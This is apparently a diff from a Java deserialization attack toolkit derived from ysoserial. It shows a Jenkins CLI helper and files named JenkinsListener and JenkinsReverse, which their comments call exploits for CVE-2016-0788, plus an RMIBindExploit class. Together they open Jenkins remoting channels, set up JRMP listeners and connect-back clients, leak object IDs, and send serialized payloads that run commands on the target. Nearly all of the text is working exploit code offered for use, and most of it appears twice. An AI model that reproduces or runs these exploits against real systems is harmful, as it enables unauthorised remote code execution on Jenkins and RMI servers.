.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
|
||||
prop
|
||||
});
|
||||
return (Callable<?, ?>) getJarLoader;
|
||||
}
|
||||
|
||||
public static InetSocketAddress getCliPort(String jenkinsUrl) throws IOException {
|
||||
URL u = new URL(jenkinsUrl);
|
||||
|
||||
URLConnection conn = u.openConnection();
|
||||
if (!(conn instanceof HttpURLConnection)) {
|
||||
System.err.println("Not a HTTP URL");
|
||||
throw new MalformedURLException();
|
||||
}
|
||||
|
||||
HttpURLConnection hc = (HttpURLConnection) conn;
|
||||
if (hc.getResponseCode() >= 400) {
|
||||
System.err.println("* Error connection to jenkins HTTP " + u);
|
||||
}
|
||||
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
|
||||
|
||||
return new InetSocketAddress(u.getHost(), clip);
|
||||
}
|
||||
|
||||
public static Channel openChannel(InetSocketAddress isa) throws IOException {
|
||||
System.err.println("* Opening socket " + isa);
|
||||
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
System.err.println("* Opening channel");
|
||||
OutputStream outputStream = s.getOutputStream();
|
||||
DataOutputStream dos = new DataOutputStream(outputStream);
|
||||
dos.writeUTF("Protocol:CLI-connect");
|
||||
ExecutorService cp = Executors.newCachedThreadPool(r -> {
|
||||
Thread t = new Thread(r, "Channel");
|
||||
t.setDaemon(true);
|
||||
return t;
|
||||
});
|
||||
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
|
||||
System.err.println("* Channel open");
|
||||
return c;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,202 +1,200 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.JRMPListener;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import hudson.remoting.Callable;
|
||||
import hudson.remoting.Channel;
|
||||
import hudson.remoting.JarLoader;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
import sun.rmi.server.Util;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Socket;
|
||||
import java.rmi.activation.ActivationDesc;
|
||||
import java.rmi.activation.ActivationID;
|
||||
import java.rmi.activation.ActivationInstantiator;
|
||||
|
||||
|
||||
/**
|
||||
* CVE-2016-0788 exploit (1)
|
||||
* <p>
|
||||
* 1. delivers a com.qi4l.JYso.exploit.JRMPListener payload to jenkins via it's remoting protocol.
|
||||
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
|
||||
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
|
||||
* <p>
|
||||
* Extra twist:
|
||||
* The well-known objects exported by the listener use the system classloader which usually
|
||||
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
|
||||
* (which is using jenkins' classloader) that typically is properly randomized.
|
||||
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
|
||||
* that identifier via an exception.
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
public class JenkinsListener {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(JenkinsListener.class);
|
||||
|
||||
public static void main(final String[] args) {
|
||||
|
||||
if (args.length < 5) {
|
||||
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> ");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String jenkinsUrl = args[0];
|
||||
int jrmpPort = 12345;
|
||||
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
|
||||
Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
|
||||
InvocationHandler remote = Proxy.getInvocationHandler(call);
|
||||
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
|
||||
|
||||
System.err.println("* JarLoader oid is " + oid);
|
||||
|
||||
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
|
||||
|
||||
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||
|
||||
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
|
||||
|
||||
try {
|
||||
c.call((Callable<?, ?>) o);
|
||||
} catch (Exception e) {
|
||||
// [ActivationGroupImpl[UnicastServerRef [liveRef:
|
||||
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
|
||||
// -9046794842107247609]]
|
||||
|
||||
System.err.println(e.getMessage());
|
||||
|
||||
parseObjIdAndExploit(args, jrmpPort, isa, e);
|
||||
}
|
||||
|
||||
} catch (Throwable e) {
|
||||
log.error(String.valueOf(e));
|
||||
} finally {
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class<?> reqClass)
|
||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
|
||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||
Reflections.setAccessible(reqCons);
|
||||
return reqCons
|
||||
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
|
||||
uro,
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception {
|
||||
String msg = e.getMessage();
|
||||
int start = msg.indexOf("objID:[");
|
||||
if (start < 0) {
|
||||
throw new Exception("Failed to get object id");
|
||||
}
|
||||
|
||||
int sep = msg.indexOf(", ", start + 1);
|
||||
|
||||
if (sep < 0) {
|
||||
throw new Exception("Failed to get object id, separator");
|
||||
}
|
||||
|
||||
int end = msg.indexOf("]", sep + 1);
|
||||
|
||||
if (end < 0) {
|
||||
throw new Exception("Failed to get object id, separator");
|
||||
}
|
||||
|
||||
String uid = msg.substring(start + 7, sep);
|
||||
String objNum = msg.substring(sep + 2, end);
|
||||
|
||||
System.err.println("* UID is " + uid);
|
||||
System.err.println("* ObjNum is " + objNum);
|
||||
|
||||
String[] parts = uid.split(":");
|
||||
|
||||
long obj = Long.parseLong(objNum);
|
||||
int o1 = Integer.parseInt(parts[0], 16);
|
||||
long o2 = Long.parseLong(parts[1], 16);
|
||||
short o3 = Short.parseShort(parts[2], 16);
|
||||
|
||||
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
|
||||
}
|
||||
|
||||
|
||||
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
|
||||
throws IOException {
|
||||
Socket s = null;
|
||||
DataOutputStream dos = null;
|
||||
try {
|
||||
System.err.println("* Opening JRMP socket " + isa);
|
||||
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
OutputStream os = s.getOutputStream();
|
||||
dos = new DataOutputStream(os);
|
||||
|
||||
dos.writeInt(TransportConstants.Magic);
|
||||
dos.writeShort(TransportConstants.Version);
|
||||
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||
|
||||
dos.write(TransportConstants.Call);
|
||||
|
||||
final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
|
||||
|
||||
objOut.writeLong(obj);
|
||||
objOut.writeInt(o1);
|
||||
objOut.writeLong(o2);
|
||||
objOut.writeShort(o3);
|
||||
|
||||
objOut.writeInt(-1);
|
||||
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
objOut.writeObject(payloadObject);
|
||||
os.flush();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
} finally {
|
||||
if (dos != null) {
|
||||
dos.close();
|
||||
}
|
||||
if (s != null) {
|
||||
s.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.JRMPListener;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import hudson.remoting.Callable;
|
||||
import hudson.remoting.Channel;
|
||||
import hudson.remoting.JarLoader;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
import sun.rmi.server.Util;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Socket;
|
||||
import java.rmi.activation.ActivationDesc;
|
||||
import java.rmi.activation.ActivationID;
|
||||
import java.rmi.activation.ActivationInstantiator;
|
||||
|
||||
|
||||
/**
|
||||
* CVE-2016-0788 exploit (1)
|
||||
* <p>
|
||||
* 1. delivers a com.qi4l.JYso.exploit.JRMPListener payload to jenkins via it's remoting protocol.
|
||||
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
|
||||
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
|
||||
* <p>
|
||||
* Extra twist:
|
||||
* The well-known objects exported by the listener use the system classloader which usually
|
||||
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
|
||||
* (which is using jenkins' classloader) that typically is properly randomized.
|
||||
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
|
||||
* that identifier via an exception.
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
public class JenkinsListener {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(JenkinsListener.class);
|
||||
|
||||
public static void main(final String[] args) {
|
||||
|
||||
if (args.length < 5) {
|
||||
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> ");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String jenkinsUrl = args[0];
|
||||
int jrmpPort = 12345;
|
||||
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
|
||||
Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
|
||||
InvocationHandler remote = Proxy.getInvocationHandler(call);
|
||||
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
|
||||
|
||||
System.err.println("* JarLoader oid is " + oid);
|
||||
|
||||
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
|
||||
|
||||
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||
|
||||
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
|
||||
|
||||
try {
|
||||
c.call((Callable<?, ?>) o);
|
||||
} catch (Exception e) {
|
||||
// [ActivationGroupImpl[UnicastServerRef [liveRef:
|
||||
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
|
||||
// -9046794842107247609]]
|
||||
|
||||
System.err.println(e.getMessage());
|
||||
|
||||
parseObjIdAndExploit(args, jrmpPort, isa, e);
|
||||
}
|
||||
|
||||
} catch (Throwable e) {
|
||||
log.error(String.valueOf(e));
|
||||
} finally {
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class<?> reqClass)
|
||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
|
||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||
Reflections.setAccessible(reqCons);
|
||||
return reqCons
|
||||
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
|
||||
uro,
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception {
|
||||
String msg = e.getMessage();
|
||||
int start = msg.indexOf("objID:[");
|
||||
if (start < 0) {
|
||||
throw new Exception("Failed to get object id");
|
||||
}
|
||||
|
||||
int sep = msg.indexOf(", ", start + 1);
|
||||
|
||||
if (sep < 0) {
|
||||
throw new Exception("Failed to get object id, separator");
|
||||
}
|
||||
|
||||
int end = msg.indexOf("]", sep + 1);
|
||||
|
||||
if (end < 0) {
|
||||
throw new Exception("Failed to get object id, separator");
|
||||
}
|
||||
|
||||
String uid = msg.substring(start + 7, sep);
|
||||
String objNum = msg.substring(sep + 2, end);
|
||||
|
||||
System.err.println("* UID is " + uid);
|
||||
System.err.println("* ObjNum is " + objNum);
|
||||
|
||||
String[] parts = uid.split(":");
|
||||
|
||||
long obj = Long.parseLong(objNum);
|
||||
int o1 = Integer.parseInt(parts[0], 16);
|
||||
long o2 = Long.parseLong(parts[1], 16);
|
||||
short o3 = Short.parseShort(parts[2], 16);
|
||||
|
||||
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
|
||||
}
|
||||
|
||||
|
||||
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
|
||||
throws IOException {
|
||||
Socket s = null;
|
||||
DataOutputStream dos = null;
|
||||
try {
|
||||
System.err.println("* Opening JRMP socket " + isa);
|
||||
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
OutputStream os = s.getOutputStream();
|
||||
dos = new DataOutputStream(os);
|
||||
|
||||
dos.writeInt(TransportConstants.Magic);
|
||||
dos.writeShort(TransportConstants.Version);
|
||||
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||
|
||||
dos.write(TransportConstants.Call);
|
||||
|
||||
final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
|
||||
|
||||
objOut.writeLong(obj);
|
||||
objOut.writeInt(o1);
|
||||
objOut.writeLong(o2);
|
||||
objOut.writeShort(o3);
|
||||
|
||||
objOut.writeInt(-1);
|
||||
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
objOut.writeObject(payloadObject);
|
||||
os.flush();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
} finally {
|
||||
if (dos != null) {
|
||||
dos.close();
|
||||
}
|
||||
if (s != null) {
|
||||
s.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,79 +1,79 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.JRMPClient;
|
||||
import hudson.remoting.Channel;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.util.Random;
|
||||
|
||||
/**
|
||||
* CVE-2016-0788 exploit (2)
|
||||
* <p>
|
||||
* - Sets up a local {@link JRMPListener}
|
||||
* - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol
|
||||
* that will cause the remote to open a JRMP connection to our listener
|
||||
* - upon connection the specified payload will be delivered to the remote
|
||||
* (that will deserialize using a default ObjectInputStream)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JenkinsReverse {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(JenkinsReverse.class);
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
if (args.length < 4) {
|
||||
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
final Object payloadObject = ysoserial.PAYLOAD;
|
||||
String myAddr = args[1];
|
||||
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
|
||||
String jenkinsUrl = args[0];
|
||||
|
||||
Thread t = null;
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
|
||||
t = new Thread(listener, "ReverseDGC");
|
||||
t.setDaemon(true);
|
||||
t.start();
|
||||
Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort);
|
||||
c.call(JenkinsCLI.getPropertyCallable(payload));
|
||||
listener.waitFor(1000);
|
||||
listener.close();
|
||||
} catch (Throwable e) {
|
||||
log.error(String.valueOf(e));
|
||||
} finally {
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
if (t != null) {
|
||||
t.interrupt();
|
||||
try {
|
||||
t.join();
|
||||
} catch (InterruptedException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.JRMPClient;
|
||||
import hudson.remoting.Channel;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.util.Random;
|
||||
|
||||
/**
|
||||
* CVE-2016-0788 exploit (2)
|
||||
* <p>
|
||||
* - Sets up a local {@link JRMPListener}
|
||||
* - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol
|
||||
* that will cause the remote to open a JRMP connection to our listener
|
||||
* - upon connection the specified payload will be delivered to the remote
|
||||
* (that will deserialize using a default ObjectInputStream)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JenkinsReverse {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(JenkinsReverse.class);
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
if (args.length < 4) {
|
||||
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
final Object payloadObject = ysoserial.PAYLOAD;
|
||||
String myAddr = args[1];
|
||||
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
|
||||
String jenkinsUrl = args[0];
|
||||
|
||||
Thread t = null;
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
|
||||
t = new Thread(listener, "ReverseDGC");
|
||||
t.setDaemon(true);
|
||||
t.start();
|
||||
Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort);
|
||||
c.call(JenkinsCLI.getPropertyCallable(payload));
|
||||
listener.waitFor(1000);
|
||||
listener.close();
|
||||
} catch (Throwable e) {
|
||||
log.error(String.valueOf(e));
|
||||
} finally {
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
if (t != null) {
|
||||
t.interrupt();
|
||||
try {
|
||||
t.join();
|
||||
} catch (InterruptedException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,111 +1,111 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.security.auth.UnixPrincipal;
|
||||
import sun.rmi.transport.StreamRemoteCall;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
import javax.management.remote.rmi.RMIConnection;
|
||||
import javax.security.auth.Subject;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInput;
|
||||
import java.io.ObjectOutput;
|
||||
import java.lang.reflect.Field;
|
||||
import java.rmi.*;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.server.Operation;
|
||||
import java.rmi.server.RemoteObject;
|
||||
import java.rmi.server.RemoteRef;
|
||||
import java.util.*;
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
public class RMIBindExploit {
|
||||
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
if (args.length < 4) {
|
||||
System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String host = args[0];
|
||||
int registryPort = Integer.parseInt(args[1]);
|
||||
String command = args[2];
|
||||
String serviceName = args[3];
|
||||
|
||||
Registry registry = LocateRegistry.getRegistry(host, registryPort);
|
||||
System.out.println(Arrays.toString(registry.list()));
|
||||
|
||||
Subject subject = new Subject();
|
||||
|
||||
Set set = new HashSet();
|
||||
set.add(new UnixPrincipal(command));
|
||||
Reflections.setFieldValue(subject, "principals", set);
|
||||
|
||||
|
||||
RMIClient r = new RMIClient();
|
||||
r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
|
||||
r.ip = host;
|
||||
|
||||
|
||||
System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject));
|
||||
}
|
||||
|
||||
static class RMIClient extends RemoteObject {
|
||||
|
||||
private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
|
||||
|
||||
private RemoteRef ref = null;
|
||||
|
||||
private String ip = null;
|
||||
|
||||
public Remote lookup(String var1) throws NotBoundException, RemoteException {
|
||||
try {
|
||||
StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
|
||||
|
||||
try {
|
||||
ObjectOutput var3 = var2.getOutputStream();
|
||||
var3.writeObject(var1);
|
||||
} catch (IOException var15) {
|
||||
throw new MarshalException("error marshalling arguments", var15);
|
||||
}
|
||||
|
||||
this.ref.invoke(var2);
|
||||
|
||||
Remote var20;
|
||||
try {
|
||||
ObjectInput var4 = var2.getInputStream();
|
||||
var20 = (Remote) var4.readObject();
|
||||
|
||||
Field f = var2.getClass().getDeclaredField("in");
|
||||
f.setAccessible(true);
|
||||
Object conn = f.get(var2);
|
||||
|
||||
f = conn.getClass().getDeclaredField("incomingRefTable");
|
||||
f.setAccessible(true);
|
||||
|
||||
HashMap rets = (HashMap) f.get(conn);
|
||||
|
||||
Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();
|
||||
|
||||
f = entry.getKey().getClass().getDeclaredField("host");
|
||||
f.setAccessible(true);
|
||||
f.set(entry.getKey(), this.ip);
|
||||
} catch (Exception var13) {
|
||||
// var2.discardPendingRefs();
|
||||
throw new UnmarshalException("error unmarshalling return", var13);
|
||||
} finally {
|
||||
this.ref.done(var2);
|
||||
}
|
||||
|
||||
return var20;
|
||||
} catch (RuntimeException | NotBoundException | RemoteException var16) {
|
||||
throw var16;
|
||||
} catch (Exception var19) {
|
||||
throw new UnexpectedException("undeclared checked exception", var19);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.security.auth.UnixPrincipal;
|
||||
import sun.rmi.transport.StreamRemoteCall;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
import javax.management.remote.rmi.RMIConnection;
|
||||
import javax.security.auth.Subject;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInput;
|
||||
import java.io.ObjectOutput;
|
||||
import java.lang.reflect.Field;
|
||||
import java.rmi.*;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.server.Operation;
|
||||
import java.rmi.server.RemoteObject;
|
||||
import java.rmi.server.RemoteRef;
|
||||
import java.util.*;
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
public class RMIBindExploit {
|
||||
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
if (args.length < 4) {
|
||||
System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String host = args[0];
|
||||
int registryPort = Integer.parseInt(args[1]);
|
||||
String command = args[2];
|
||||
String serviceName = args[3];
|
||||
|
||||
Registry registry = LocateRegistry.getRegistry(host, registryPort);
|
||||
System.out.println(Arrays.toString(registry.list()));
|
||||
|
||||
Subject subject = new Subject();
|
||||
|
||||
Set set = new HashSet();
|
||||
set.add(new UnixPrincipal(command));
|
||||
Reflections.setFieldValue(subject, "principals", set);
|
||||
|
||||
|
||||
RMIClient r = new RMIClient();
|
||||
r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
|
||||
r.ip = host;
|
||||
|
||||
|
||||
System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject));
|
||||
}
|
||||
|
||||
static class RMIClient extends RemoteObject {
|
||||
|
||||
private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
|
||||
|
||||
private RemoteRef ref = null;
|
||||
|
||||
private String ip = null;
|
||||
|
||||
public Remote lookup(String var1) throws NotBoundException, RemoteException {
|
||||
try {
|
||||
StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
|
||||
|
||||
try {
|
||||
ObjectOutput var3 = var2.getOutputStream();
|
||||
var3.writeObject(var1);
|
||||
} catch (IOException var15) {
|
||||
throw new MarshalException("error marshalling arguments", var15);
|
||||
}
|
||||
|
||||
this.ref.invoke(var2);
|
||||
|
||||
Remote var20;
|
||||
try {
|
||||
ObjectInput var4 = var2.getInputStream();
|
||||
var20 = (Remote) var4.readObject();
|
||||
|
||||
Field f = var2.getClass().getDeclaredField("in");
|
||||
f.setAccessible(true);
|
||||
Object conn = f.get(var2);
|
||||
|
||||
f = conn.getClass().getDeclaredField("incomingRefTable");
|
||||
f.setAccessible(true);
|
||||
|
||||
HashMap rets = (HashMap) f.get(conn);
|
||||
|
||||
Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();
|
||||
|
||||
f = entry.getKey().getClass().getDeclaredField("host");
|
||||
f.setAccessible(true);
|
||||
f.set(entry.getKey(), this.ip);
|
||||
} catch (Exception var13) {
|
||||
// var2.discardPendingRefs();
|
||||
throw new UnmarshalException("error unmarshalling return", var13);
|
||||
} finally {
|
||||
this.ref.done(var2);
|
||||
}
|
||||
|
||||
return var20;
|
||||
} catch (RuntimeException | NotBoundException | RemoteException var16) {
|
||||
throw var16;
|
||||
} catch (Exception var19) {
|
||||
throw new UnexpectedException("undeclared checked exception", var19);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,64 +1,64 @@
|
||||
